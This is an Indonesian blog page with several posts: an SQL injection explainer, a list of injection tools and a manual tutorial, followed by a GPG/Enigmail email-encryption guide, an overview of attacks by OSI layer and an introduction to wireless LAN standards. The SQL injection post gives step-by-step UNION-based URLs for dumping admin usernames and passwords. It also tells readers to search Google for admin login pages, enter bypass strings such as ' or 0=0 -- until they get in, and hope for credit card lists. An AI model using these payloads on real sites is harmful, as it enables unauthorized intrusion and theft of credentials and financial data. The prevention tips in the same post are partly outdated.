RadarURL Dari Ane untuk Agan

Betapa Indahnya kalau kita saling berbagi

Hidup Akan terasa lebih bermakna bila kita saling berbagi antara sesama dan ilmu yang kita dapat akan lebih berfaedah.

Betapa Indahnya kalau kita saling berbagi

Hidup Akan terasa lebih bermakna bila kita saling berbagi antara sesama dan ilmu yang kita dapat akan lebih berfaedah.

Betapa Indahnya kalau kita saling berbagi

Hidup Akan terasa lebih bermakna bila kita saling berbagi antara sesama dan ilmu yang kita dapat akan lebih berfaedah.

Betapa Indahnya kalau kita saling berbagi

Hidup Akan terasa lebih bermakna bila kita saling berbagi antara sesama dan ilmu yang kita dapat akan lebih berfaedah.

Betapa Indahnya kalau kita saling berbagi

Hidup Akan terasa lebih bermakna bila kita saling berbagi antara sesama dan ilmu yang kita dapat akan lebih berfaedah.

Minggu, 07 April 2013

Pengertian, Tutorial & Tools SQL Injection


Injeksi SQL atau SQL Injection memiliki makna dan arti yaitu sebuah teknik yang menyalahgunakan sebuah celah keamanan yang terjadi dalam lapisan basis data sebuah aplikasi. Celah ini terjadi ketika masukan pengguna tidak disaring secara benar dari karakter-karakter pelolos bentukan string yang diimbuhkan dalam pernyataan SQL atau masukan pengguna tidak bertipe kuat dan karenanya dijalankan tidak sesuai harapan. Ini sebenarnya adalah sebuah contoh dari sebuah kategori celah keamanan yang lebih umum yang dapat terjadi setiap kali sebuah bahasa pemrograman atau skrip diimbuhkan di dalam bahasa yang lain. (Wikipedia)
SQL injection adalah jenis aksi hacking pada keamanan komputer di mana seorang penyerang bisa mendapatkan akses ke basis data di dalam sistem. SQL injection yaitu serangan yang mirip dengan serangan XSS dalam bahwa penyerang memanfaatkan aplikasi vektor dan juga dengan Common dalam serangan XSS.
SQL injection exploits dan sejenisnya adalah hasil interfacing sebuah bahasa lewat informasi melalui bahasa lain . Dalam hal SQL injection, sebuah bahasa pemrograman seperti PHP atau Perl mengakses database melalui SQL query. Jika data yang diterima dari pengguna akhir yang dikirim langsung ke database dan tidak disaring dengan benar, maka yang penyerang dapat menyisipkan perintah SQL nya sebagai bagian dari input. (de-kill.blogspot)
Untuk mempermudah dalam praktek SQL Injection ini, maka bisa menggunakan tools berikut:
1. BSQL Hacker
Dikembangkan oleh Portcullis Labs, BSQL Hacker adalah SQL injection yang di rancang untuk mengeksplor hampir seluruh jenis data base
2. The Mole

Mole adalah tool open source, Mole dapat melewati beberapa sistem IPS / IDS yang menggunakan filter generik, mole dapat meng eksplor hanya dengan menggunak URL yang rentan dan string valid.
3. Pangolin
Diproduksi oleh perusahaan yang sama yang membuat JSky, NOSEC, Pangolin adalah tool injeksi SQL secara menyeluruh pada web dengan user-friendly GUI dan support hampir untuk selur data base.
4. SQLMap
SQLMap adalah tool open source yang di jalankan menggunakan command dan support untuk data baseMySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB.
5. Havij
Tool ini sudah sangat terkenal di gunakan oleh para peretas di seluruh dunia, Havij di kembangkan oleh programer iran dengan GUI yang sederhana meng injek SQL menggunakan harvij kemungkinan berhasil adalah 95 persen dan masih banyak lagi kelebihan havij.
6. Enema SQLi
Berbeda dengan kebanyakan tool-tool injek yang di buat otomatis, enema bukanlah tool otomatis, enam tool yang di namis yang memang di rancang untuk profesional.
7. SQL Ninja
Sql Ninja di kembangkan oleh icesurfer tool yang di rancang untuk targen server SQL, data base fingerprint, dan semu kemampuan untuk mengendalikan database yang rentan injek.
8. SQL Sus
Sql Sus merupakan tool open source antar mukanya berbasis perintah, anda dapat mengambil data base, mendownload file dari data base server dan masih banya lagi.
9. Safe SQL Injector
Safe SQL Injector terkenal dengan kemudahan penggunaannya Safe3 SI menawarkan serangkaian fitur yang memungkinkan deteksi otomatis dan eksploitasi kelemahan SQL injection dan pengambilalihan database server.
10. SQL Poizon
SQL Poizon memanfaatkan mesin pencarian Dork untuk menjaring situs-situs yang rentan untuk di injek. Sql Poizon memiliki browser yang telah terintegrasi di dalamnya.

MANUAL TUTORIAL SQL INJECTION

Pengertian SQL Injection, SQL Injection adalah sebuah aksi hacking yang dilakukan diaplikasi client dengan cara memodifikasi perintah SQL yang ada dimemori aplikasi client dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.
Yang perlu diketahui sebelum melakukan SQL Injection pada MySQL:
karakter: ‘ atau -
comments: /* atau –
information_schema untuk versi: MySQL versi 5.x , tidak support untuk MySQL versi 4.x
[ Langkah 1 ]
  • Carilah target
    Misal: [site]/berita.php?id=100Tambahkan karakter ‘ pada akhir url atau menambahkan karakter “-” untuk melihat apakah ada pesan error.
    contoh:
    [site]/berita.php?id=100′ atau
    [site]/berita.php?id=-100
    Sehingga muncul pesan error seperti berikut [ masih banyak lagi ]
[ Langkah 2 ]
  • Mencari dan menghitung jumlah table yang ada dalam databasenya…
    gunakan perintah: order byContoh:[site]/berita.php?id=-100+order+by+1– atau
    [site]/berita.php?id=-100+order+by+1/*Ceklah secara Langkah by Langkah (satupersatu)…
    Misal:[site]/berita.php?id=-100+order+by+1–
    [site]/berita.php?id=-100+order+by+2–
    [site]/berita.php?id=-100+order+by+3–
    [site]/berita.php?id=-100+order+by+4–Sehingga muncul error atau hilang pesan error…
    Misal: [site]/berita.php?id=-100+order+by+9–
    Berarti yang kita ambil adalah sampai angka 8
    Menjadi [site]/berita.php?id=-100+order+by+8–
[ Langkah 3 ]
  • untuk mengeluarkan angka berapa yang muncul gunakan perintah union
    karena tadi error sampai angka 9
    maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8–ok seumpama yg keluar angka 5gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
    misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8– atau
    [site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8–Lihat versi yang digunakan se’umpama versi 4 tinggalkan saja karena dalam versi 4 ini kita harus menebak sendiri table dan column yang ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..Untuk versi 5 berarti anda beruntung tak perlu menebak table dan column seperti versi 4 karena di versi 5 ini bisa menggunakan perintah From+Information_schema..
[ Langkah 4 ]
  • Untuk menampilkan table yang ada pada web tersebut adalah
    perintah table_name >>> dimasukan pada angka yangg keluar tadi
    perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhirCode:[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables–Se’umpama table yang muncul adalah “admin”
[ Langkah 5 ]
  • untuk menampilkan semua isi dari table tersebut adalah
    perintah group_concat(table_name) >>> dimasukan pada angka yang keluar tadi
    perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema. tables+where+table_schema=database()–
[ Langkah 6 ]
  • Perintah group_concat(column_name) >>> dimasukan pada angka yang keluar tadi
    perintah +from+information_schema.columns+where+table_name=0xhexa– >>> dimasukan setelah angka terakhir[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema .columns+where+table_name=0xhexa–Pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
    Website yg digunakan untuk konversi :http://www.v3n0m.net/ascii.htmContoh kata yang ingin dikonversi yaitu admin maka akan menjadi 61646D696E[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema .columns+where+table_name=0x61646D696E–
[ Langkah 7 ]
  • Memunculkan apa yang tadi telah dikeluarkan dari table yaitu dengan caraperintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
    perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhirContoh :[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)–Contoh kata yang keluar adalah id,username,passwordContoh :
    [site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin–
[ Langkah 8 ]
  • Tahap terakhir mencari halaman admin atau login.
Source HN Forum
SQL Injection adalah salah satu teknik yang sering di gunakan untuk menyerang sebuah situs web. dengan cara ini memungkinkan seseorang dapat login tanpa harus memiliki akun di sebuah web site Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database bahkan pula dapat mematikannya.
Contoh Sintaks SQL Injection
Contoh sintak SQL dalam PHP
1) $SQL = “select * from login where username =’$username’ and password = ‘$password’”; , {dari GET atau POST variable }
2) isikan password dengan string ’ or ’’ = ’
3) hasilnya maka SQL akan seperti ini = “select * from login where username = ’$username’ and password=’pass’ or ‘=′”; , { dengan SQL ini hasil selection akan selalu TRUE }
4) maka kita bisa inject sintax SQL (dalam hal ini OR) kedalam SQL
Contoh sintaks SQL Injection
1) Sintaks SQL string ‘– setelah nama username
Penanganan SQL Injection 
1) Merubah script php
2) Menggunakan MySQL_escape_string
3) Pemfilteran karakter ‘ dengan memodifikasi php.ini
1. Merubah script php
Contoh script php semula :
$query = “select id,name,email,password,type,block from user ” . 
“where email = ‘$Email’ and password = ‘$Password’”; 
$hasil = mySQL_query($query, $id_mySQL); 
while($row = mySQL_fetch_row($hasil))

$Id = $row[0]; 
$name = $row[1]; 
$email = $row[2]; 
$password = $row[3]; 
$type = $row[4]; 
$block = $row[5]; 

if(strcmp($block, ‘yes’) == 0)
{
echo “\n”; 
exit(); 

else if(!empty($Id) && !empty($name) && !empty($email) && !empty($password));
Script diatas memungkinkan seseorang dapat login dengan menyisipkan perintah SQL kedalam form login. Ketika hacker menyisipkan karakter ’ or ’’ = ’ kedalam form email dan password maka akan terbentuk query sebagai berikut :
Maka dilakukan perubahan script menjadi :
$query = “select id,name,email,password,type,block from user”. 
“where email = ‘$Email’”; 
$hasil = mySQL_query($query, $id_mySQL); 
while($row = mySQL_fetch_row($hasil))

$Id = $row[0]; 
$name = $row[1]; 
$email = $row[2]; 
$password = $row[3]; 
$type = $row[4]; 
$block = $row[5]; 

if(strcmp($block, ‘yes’) == 0)

echo “\n”; 
exit(); 

$pass = md5($Password); 
else if((strcmp($Email,$email) == 0) && strcmp($pass,$password) == 0));


2. Menggunakan MySQL_escape_string
Merubah string yang mengandung karakter ‘ menjadi \’ misal SQL injec’tion menjadi SQL injec\’tion
Contoh : $kar = “SQL injec’tion”;
$filter = mySQL_escape_string($kar);
echo”Hasil filter : $filter”;
Hasilnya :
3. Pemfilteran karakter ‘ dengan memodifikasi php.ini
Modifikasi dilakukan dengan mengenablekan variabel magic_quotes pada php.ini sehingga menyebabkan string maupun karakter ‘ diubah menjadi \’ secara otomatis oleh php
Contoh :
Contoh script yang membatasi karakter yang bisa masukkan :
function validatepassword( input )
good_password_chars =
“abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ”

validatepassword = true
for i = 1 to len( input )

c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function

Implementasi SQL Injection
1) Masuk ke google atau browse yg lain
2) Masukkan salah satu keyword berikut
“/admin.asp”
“/login.asp”
“/logon.asp”
“/adminlogin.asp”
“/adminlogon.asp”
“/admin_login.asp”
“/admin_logon.asp”
“/admin/admin.asp”
“/admin/login.asp”
“/admin/logon.asp”
{anda bisa menambahi sendiri sesuai keinginan anda}
3) Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan menjumpai sebuah halaman login (user name danpassword).
4) Masukkan kode berikut :
User name : ` or `a’='a
Password : ` or `a’='a (termasuk tanda petiknya)
5) Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa menambahkan berita, mengedit user yang lain, merubah about,
dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak.
6) Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google.
7) Banyak variasi kode yang mungkin, antara lain :
User name : admin
Password : ` or `a’='a
atau bisa dimasukkan ke dua–duanya misal :
‘ or 0=0 — ; “ or 0=0 — ; or 0=0 — ; ‘ or 0=0 # ; 
“ or 0=0 # ; ‘ or’x’=’x ; “ or “x”=”x ; ‘) or (‘x’=’x
8) Cobalah sampai berhasil hingga anda bisa masuk ke admin panel
Cara pencegahan SQL INJECTION
1) Batasi panjang input box (jika memungkinkan), dengan
cara membatasinya di kode program, jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang.
2) Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input Validation).
3) Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan.
4) Matikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored Procedures jika memungkinkan.
5) Ubah “Startup and run SQL Server” menggunakan low privilege user di SQL Server Security tab.

Kamis, 04 April 2013

GNU Privacy Guard


Pendahuluan

GPG (GNU Privacy Guard) adalah suatu software enkripsi yang mengimplementasikan RFC2440. Penggunaan program ini biasanya ditemui pada enkripsi email atau sebagai digital signature. Model enkripsi yang digunakan adalah PKI(Public Key Infrastructure). Dengan demikian seseorang pasti mempunyai sepasang kunci yaitu Private Key dan Public Key. Tulisan ini membahas secara ringkas beberapa penggunaan umum GPG yang biasa dilakukan.

Private/Public Key

Private Key adalah kunci enkripsi yang hanya boleh diakses oleh pemilik kunci, sedangkan public key sebisa mungkin harus disebarkan seluas-luasnya. Penyebaran public key ini dapat dilakukan secara manual, yakni dengan cara mengunduh dari web seseorang, mengirimkannya menggunakan email, atau seseorang dapat juga mengirimkan public keynya ke suatu keyserver seperti yang tersedia di Depkominfo ini. Semua orang dapat mendownload public key milik orang lain untuk digunakan di kemudian hari.
Private key digunakan untuk mendekrip chiper text yang ditujukan kepada sang pemilik, atau menandatangani suatu dokumen/file yang dikirimkan kepada orang lain. Bagaimana dengan public key? Key inilah yang digunakan oleh orang lain untuk mengenkrip file teks yang ditujukan kepada sang pemilik key, atau untuk memeriksa/verifikasi keaslian dokumen yang telah ditandatangani oleh pemilik private key.

Ilustrasi Pemakaian

Sebagai contoh, mari kita bayangkan bahwa Sokam akan mengirim email yang berisi puisi cinta kepada kekasihnya, Yudowati. Sebelum Sokam dapat mengenkrip puisi cintanya, dia harus memiliki public key Yudowati. Sokam dapat meminta Yudowati untuk mengirimkan public keynya melalui email, atau mencari di keyserver bila Yudowati sudah mensubmitnya. Dengan menggunakan public key itulah maka Sokam dapat mengenkripsi puisi cintanya untuk kemudian dikirimkan kepada Yudowati.
Yudowati menerima puisi cinta dari Sokam dalam bentuk yang terenkripsi. Untuk membacanya Yudowati perlu mendekrip teks itu. Selain Yudowati tidak ada orang lain yang dapat mendekrip puisi cinta itu, karena hanya Yudowatilah yang mempunyai private keynya. Bila private key Yudowati jatuh ke tangan orang lain, maka orang itu juga dapat mendekrip segala macam email terenkripsi yang ditujukan kepadanya. Maka dari itu Yudowati harus menyimpan private keynya secara baik dan aman.
Pada kasus di atas, ada kemungkinan bahwa yang mengirimkan puisi cinta itu bukanlah Sokam, namun orang lain yang berpura-pura menjadi Sokam. Bukankah email itu dienkrip? Ya, memang. Namun karena enkripsi menggunakan public key sebagai kunci enkripsinya maka siapa pun yang mempunyai public key Yudowati dapat mengenkrip teks untuk Yudowati. Oleh karena itu ada baiknya bila Sokam juga menandatangani emailnya. Untuk membubuhkan digital signature, kita harus menggunakan private key, dan bukan public key. Pada saat menerima email puisi cinta itu, Yudowati harus memverifikasi bahwa digital signature yang terdapat di sana benar-benar asli milik Sokam dengan menggunakan public key milik Sokam. Dengan begitu Yudowati boleh merasa yakin bahwa puisi itu benar-benar dikirim oleh Sokam.

Aplikasi yang Dibutuhkan

Kumpulan aplikasi GnuPG For Windows dapat diunduh melalui tautan ini. Seluruh operasi GPG dijalankan menggunakan program tersebut, sehingga program itu harus diinstall terlebih dahulu sebelum melakukan instalasi aplikasi lain yang menggunakan fasilitas GPG.
Untuk memudahkan pemakaian, progam yang digunakan pada panduan ini adalah Mozilla Thunderbird dengan tambahan sebuah plugin yaitu Enigmail. Kedua program tersebut dapat diunduh dengan mengklik kedua tautan berikut:
Program-program di atas hanya berjalan pada sistem operasi Microsoft Windows. Bila anda menggunakan sistem operasi lain, biasanya GnuPG sudah terinstall secara otomatis. Bila tidak, silakan melakukan instalasi dari sumber yang selama ini anda gunakan.

Instalasi

  1. Install program gpg4win-2.0.1.exe. Jawab pertanyaan yang muncul dengan salah satu atau kombinasi kemungkinan berikut: OK, Next, Install, atau Finish. Urutan instalasi ditunjukkan pada gambar berikut:
  2. Selanjutnya install program Thunderbird 3. Seperti proses instalasi sebelumnya, jawab pertanyaan yang muncul dengan salah satu atau kombinasi kemungkinan berikut: OK, Next, Install, atau Finish. Urutan instalasinya ditunjukkan pada gambar berikut:
    Setelah proses instalasi selesai, lanjutkan dengan mengkonfigurasi thunderbird menggunakan POP atau IMAP seperti biasa.
  3. Setelah thunderbird sudah bisa digunakan untuk membaca atau mengirim email, kini saatnya melakukan instalasi Enigmail.
    1. Pilih menu Tools -> Add-ons. Daftar kosong seperti gambar di bawah ini akan muncul, kemudian tekan tombol Install
    2. Pilih file enigmail-1.0-tb-win.xpi yang telah diunduh, kemudian tekan tombol Open.
    3. Tekan tombol Install
    4. Tekan tombol Restart Thunderbird

Penggunaan

1. Manajemen Key

Manajemen keypair dilakukan dengan memilih menu OpenPGP -> Key Management, seperti yang ditunjukkan pada gambar di bawah ini.
Window tersebut masih kosong, karena belum ada keypair yang telah kita buat, dan belum ada public key yang telah kita import ke dalam sistem kita. Proses selanjutnya adalah membuat keypair untuk email kita. Pilih menu Generate -> New Key Pair.

2. Pembuatan Keypair

Isilah passphrase sesuai dengan yang anda inginkan. Anda perlu memasukkan passphrase ketika melakukan beberapa operasi seperti dekripsi, atau membubuhkan digital signature.
Kemudian klik tab Advanced. Pada bagian Key Type, pilihlah tipe DSA & El Gamal, seperti yang ditunjukkan pada gambar berikut:
Setelah itu tekan tombol Generate Key.
Bila muncul pertanyaan di atas, tekan tombol Generate Certificate, dan pilih lokasi penyimpanannya. Anda akan diminta untuk memasukkan passphrase. Setelah seluruh proses selesai, keypair anda akan muncul seperti yang ditunjukkan pada gambar berikut:

3. Pengiriman Public Key ke Server

Sebelum mengirim public key ke orang lain, public key anda harus di-export terlebih dahulu. Klik kanan pada key anda, kemudian pilih menu "Copy Public Keys to Clipboard". Agar public key anda bisa diambil oleh semua orang, kirimkan public key anda ke server melalui halaman https://webmail.depkominfo.go.id. Klik menu "Public Key Depkominfo" di sebelah kanan, kemudian klik tautan "Kirim Public Key" di bagian bawah halaman.
Paste public key anda pada form tersebut, sehingga form isian public key akan tampak lebih kurang seperti gambar berikut:
Tekan tombol Simpan. Apabila key yang anda kirim bukanlah key untuk email @depkominfo.go.id, key anda akan ditolak secara otomatis oleh sistem. Bila key tersebut merupakan key untuk email @depkominfo.go.id, maka anda akan diminta untuk memasukkan password. Bila password yang anda masukkan benar, maka key akan disimpan dan dapat diambil oleh orang lain yang memerlukannya.

4. Mendownload Public key

Untuk mengenkrip suatu email yang dikirim, kita memerlukan public key milik orang yang akan kita kirimi email. Pada contoh ini, email akan dikirimkan ke alamat yudowati@depkominfo.go.id. Yang harus kita lakukan adalah:
  1. Mencari Public Key yudowati@depkominfo.go.id
    Buka halaman webmail, kemudian pilih menu "Public Key Depkominfo". Masukkan alamat email pada form yang tersedia, kemudian klik tautan "Go". Bila public key yang dicari telah tersimpan dalam sistem, maka daftarnya akan muncul seperti yang ditunjukkan pada gambar berikut:
    Klik KeyID (pada contoh di atas: A5F21632), kemudian simpan filenya di komputer.
  2. Mengimpor Ke Sistem Kita
    Kembali ke window key management, pilih menu File -> Import Keys from File. Pilih file yang baru saja tersimpan. Bila proses berhasil, window informasi di bawah akan muncul.
    Public Key yang baru diimpor akan muncul dalam daftar key yang terdapat pada window key management.

5. Mengirim Email

Perlu diingat bahwa enkripsi email GPG hanya bekerja untuk tipe email plain-text. Bila anda mengirimkan email dalam bentuk HTML, enigmail akan secara otomatis melakukan konversi ke bentuk plain text.
Perhatikan gambar di bagian kanan bawah. Di situ terdapat dua ikon, yaitu ikon pensil dan ikon kunci. Bila ikon pensil dalam keadaan terang, berarti akan ada digital signature yang akan dibubuhkan saat email tersebut dikirim. Bila ikon kunci aktif, maka email tersebut akan dikirimkan dalam keadaan terenkrip. Bila keduanya menyala, kembali ke penjelasan sebelumnya... duh!.
Setelah email selesai ditulis, kirimlah email itu dengan mengklik ikon Send di sebelah kiri atas.
Bila email tersebut dibaca melalui webmail di mana di situ tidak terdapat fasilitas untuk melakukan proses dekripsi, teks yang ada dalam email tersebut muncul seperti pada gambar di bawah ini.
Bagaimana? Tidak terbaca, bukan? Anda mungkin kemudian bertanya: "Mengapa di webmail tidak diberi saja fasilitas untuk melakukan dekripsi?" Jawabannya: Silakan baca kembali paragraf pada bagian awal halaman ini yang tercetak merah tebal. Melakukan dekripsi di webmail berarti mengirimkan private key keluar dari komputer anda, dan menyimpan private key tersebut di server. Apakah anda rela bila saya mencuri identitas anda? Tentu tidak, bukan?

6. Membaca Email

Agar email bisa terbaca, maka email harus didekrip terlebih dahulu menggunakan private key. Apabila telah ada public key yang terkirim ke server, maka tentunya private key itu pun sudah ada, dan seluruh proses di atas sudah dilalui. Mozilla dan enigmail akan mengurus segalanya, selama anda memasukkan passphrase yang benar, bila diminta.
Bagaimana munculnya email tersebut? Bagaimana hasil verifikasi tanda tangan digital yang telah dibubuhkan? Silakan dicoba serta dilihat hasilnya, dan penulis akan membubuhkan kalimat penutup: "It is left to the reader as exercise".

Rabu, 27 Maret 2013

Hacking : Serangan pada Model OSI


Model OSI adalah sebuah protocol-stack dimana layer bawah khusus menangani segala sesuatu yang berhubungan dengan hardware, sedangkan layer atas berkaitan dengan software. 7 layer model OSI di desain sedemikian rupa sehingga kendali dapat dialihkan dari satu layer ke layer yang lain.
Berikut adalah susunan model OSI dari layer paling atas (layer 7) sampai layer paling bawah (layer 1) beserta fungsi yang dijalankan :
ApplicationMenyediakan dukungan untuk aplikasi seperti FTP, Telnet, dan HTTP
PresentationEnkripsi, SMB, ASCII, format data
SessionFlow control data, inisiasi dan terminasi koneksi
TransportKomunikasi end-to-end (aplikasi ke aplikasi), layanan TCP dan UDP.
NetworkRouting (OSPF, dan lain-lain). IP addressing
Data LinkLan card, MAC address, pembentukan frame
PhysicalMedia transmisi seperti kabel UTP, wireless, maupun Fiber Optik
Model OSI bekerja seperti berikut ini :
  1. Informasi dikirim dengan cara dikirim mulai dari layer application turun sampai layer physical.
  2. Kemudian dikirimkan melewati media (kabel, wireless) sampai ke tujuan.
  3. Setelah sampai, informasi di proses naik dari layer physicalsampai ke layer application.

Layer Application

Layer 7 (application) bukanlah aplikasi/program/software itu sendiri, tapi merupakan interface yang digunakan oleh aplikasi/program/software untuk berkomunikasi .
Berikut adalah beberapa layanan dan protokol-protokol yang bisa dibilang “tidak aman” :
  • FTP, layanan TCP yang beroperasi pada port 20 dan 21. Port 20 digunakan untuk transfer data klien dan server, sedangkan port 21 digunakan untuk control dan pengiriman command antara klien dan FTP server. Serangan pada layanan ini bisa berupa eksploitasi kesalahan konfigurasi directory permission dan atausniffing password yang berbentuk cleartext.
  • Telnet, layanan shell pada TCP yang beroperasi pada port 23. Telnet mengirimkan informasi yang kita ketikkan di klien kepada komputer lain. Telnet bisa diatur untuk koneksi secara anonymous dan bisa juga diatur agar menggunakan username dan password. Kelemahan telnet adalah semua data termasuk username dan password dikirim dalam bentuk cleartext.
  • SMTP, layanan TCP yang beroperasi pada port 25 dan berfungsi untuk menjalankan proses pertukaran email antar sistem network. Pesan yang dikirim melalui SMTP memiliki 2 bagian, address header dan pesan text. Semua jenis komputer dapat bertukar pesan email dengan SMTP. Dua jenis serangan SMTP yang cukup beresiko adalah spoofing dan spamming.
  • DNS, layanan ini berjalan pada port 53 dan berfungsi untuk melakukan address mapping. DNS mengkonversi Fully Qualified Domain Names (FQDNs) seperti www.google.com ke bentuk IP address dan sebaliknya. DNS menggunakan UDP untuk DNS query dan TCP untuk zone transfers. DNS rawan oleh serangan poisoning dan jika salah konfigurasi dapat disalahgunakan untuk melakukan zone full transfer.
  • TFTP, beroperasi pada port 69, merupakan versi FTP yang menggunakan UDP untuk mengurangi overhead dan reliability dengan menghilangkan proses session management dan autentikasi, hal ini menimbulkan resiko keamanan yang cukup tinggi. TFTP biasa digunakan untuk mengirim file-file konfigurasi router dan untuk mengkonfigurasi kabel modem. Orang yang melakukan hacking pada kabel modem biasa dikenal sebagai uncapper.
  • HTTP, layanan TCP yang beroperasi pada port 80 ini membuat web menjadi layanan paling populer saat ini. HTTP menggunakan protokol request response, dimana klien mengirimkan request kemudian server memberikan response. Serangan pada HTTP bisa ditujukan ke server, browser, atau script-script yang berjalan pada browser.
  • SNMP, layanan UDP yang beroperasi pada port 161 dan 162, SNMP didesain sebagai cara yang efisien dan murah untuk memonitor network. Protokol SNMP memungkinkan perangkat-perangkat jaringan yang berfungsi sebagai agent untuk mengumpulkan berbagai macam informasi dan mengirimkannya ke server management. Hal yang membuat SNMP kurang aman adalah proses pengiriman community string yang masih dalam bentuk clear-text. SNMP versi 3 merupakan versi terbaru dan menawarkan fitur enkripsi agar lebih aman.

Layer Transport

Layer transport penuh dengan lubang keamanan karena merupakan tempat bagi UDP dan TCP. Karena UDP bersifat connectionless, mudah bagi hacker untuk melakukan serangan DoS (Denial of Service). Selain itu juga mudah untuk melakukan spoofing. Sedangkan TCP dapat dieksploitasi oleh hacker untuk mengidentifikasi berbagai macam layanan yang berjalan dan sistem operasi yang digunakan oleh target. Hal ini penting bagi hacker sebelum melakukan serangan.

Layer Network

Pada layer ini terdapat IP dan ICMP. IPv4 tidak memiliki built-in fitur security, karenanya IPSec yang merupakan komponen built-in dikembangkan. Tanpa IPSec, IP dapat dengan mudah menjadi target bagi berbagai macam serangan. Sedangkan ICMP dapat menjadi target bagi serangan Smurf DoS.

Layer Data Link

Konversi pengalamatan logik (IP) ke physical (MAC) harus dilakukan antara layer network dan layer data link. Protokol ARP digunakan untuk hal ini. Namun, ARP sering dimanfaatkan oleh hacker untuk melakukan ARP poisoning, sehingga hacker dapat mem-bypass switch dan monitor traffic. Selain itu, passive sniffing dapat menjadi metode bagus bagi hacker jika ia berada pada posisi yang strategis didalam network.

Layer Physical

Layer physical ini adalah layer yang paling mudah untuk “dibobol“. Logika sederhananya adalah jika seseorang mendapatkan akses secara fisik ke sebuah perangkat jaringan, tentunya dia juga bisa mendapatkan kendali penuh terhadap perangkat tersebut. Beberapa vendor perangkat jaringan juga menyediakan metode melakukanreset password untuk mendapatkan akses ke perangkat tersebut.

Layer Manusia

Layer ini tidak termasuk dalam susunan Model OSI. Namun layer ini bisa kita tambahkan sebagai layer terpenting dalam desain dan implementasi jaringan. Begitu pula dalam hal keamanan, layer ini memiliki ancaman terbesar yang dikenal sebagai social engineering, karena targetnya adalah manusia (admin, dan lain-lain). Pada umumnya organisasi membelanjakan anggaran yang cukup besar dalam bidang kontrol dan teknis, namun sangat sedikit anggaran yang dikeluarkan untuk pendidikan/pelatihan proses dan prosedur keamanan bagi karyawannya. Hacker dapat menggunakan berbagai macam teknik untuk melakukan tipu muslihat pada karyawan.
Ancaman lain pada layer ini adalah dumpster diving. Banyak perusahaan yang “membuang” berbagai macam hal yang terlihat tidak berguna tapi dapat dimanfaatkan oleh hacker sebagai alat untuk mengorek informasi tentang network internal. Misalnya, printout nama dan password, source code, memo, dan lain-lain.

Pengenalan Wireless LAN


Badan Pengatur Radio Frekuensi (RF)

ITU-R (International Telecommunications Union – Radiocommunication Sector) bertanggung jawab untuk manajemen global penggunaan spektrum radio frekuensi dan orbit satellit.

Federal Communications Commission (FCC)

Badan yang mengatur pemakaian spektrum RF di US. Wireless network dapat menggunakan spektrum RF yang berlisensi maupun tidak berlisensi untuk proses komunikasi. Keuntungan menggunakan spektrum RF tak berlisensi adalah tidak ada biaya pemakaian bagi end user.
IEEE memanfaatkan 2 dari 3 RF bands tak berlisensi yang diijinkan oleh FCC :
  • 2.4 GHz ISM (industrial, scientific, and medical) band.
  • 5 GHz UNII (Unlicensed National Information Infrastructure) band

European Telecommunications Standards Institute (ETSI)

Organisasi eropa yang bertanggung jawab membuat standar-standar teknologi informasi dan komunikasi, termasuk teknologi mobile, radio, dan Internet. Di eropa, radio frekuensi diatur oleh CEPT.

IEEE dan standar-standar Wireless LAN

IEEE adalah organisasi non-profit yang bertanggung jawab untuk membuat standar-standar berbagai macam teknologi, termasuk teknologi informasi. IEEE sudah merilis rangkaian standar-standar yang berkenaan dengan Wireless LAN networking.

802.11

Dirilis pada tahun 1997, berikut adalah beberapa detail :
  • Data rate 1 dan 2 Mbps.
  • Beroperasi di 2.4 GHz ISM band
  • Spread Spectrum :
    • FHSS (Frequency-Hopping spread spectrum), termasuk obsolete.
    • DSSS (Direct-Sequence spread spectrum)
  • Infrared (IR)

802.11b

Merupakan perkembangan dari 802.11 yang dirilis pada tahun 1999.
  • Data rate 5.5 dan 11 Mbps
  • Beroperasi di 2.4 GHz ISM band.
  • Spread spektrum :
    • DSSS
    • HR/DSSS (High rate-direct-sequence spread spectrum)
  • Backward compatible dengan 802.11 DSSS

802.11a

Juga merupakan perkembangan dari 802.11 yang dirilis pada tahun 1999 dan beroperasi di 5 GHz UNII band.
  • Data rates :
    • 6, 9, 12 Mbps OFDM (required)
    • 18, 24, 36, 48, 54 Mbps OFDM (supported)
  • Beroperasi di 5 GHz UNII band
    • 5.150 – 5.250 GHz UNII-1 (indoor)
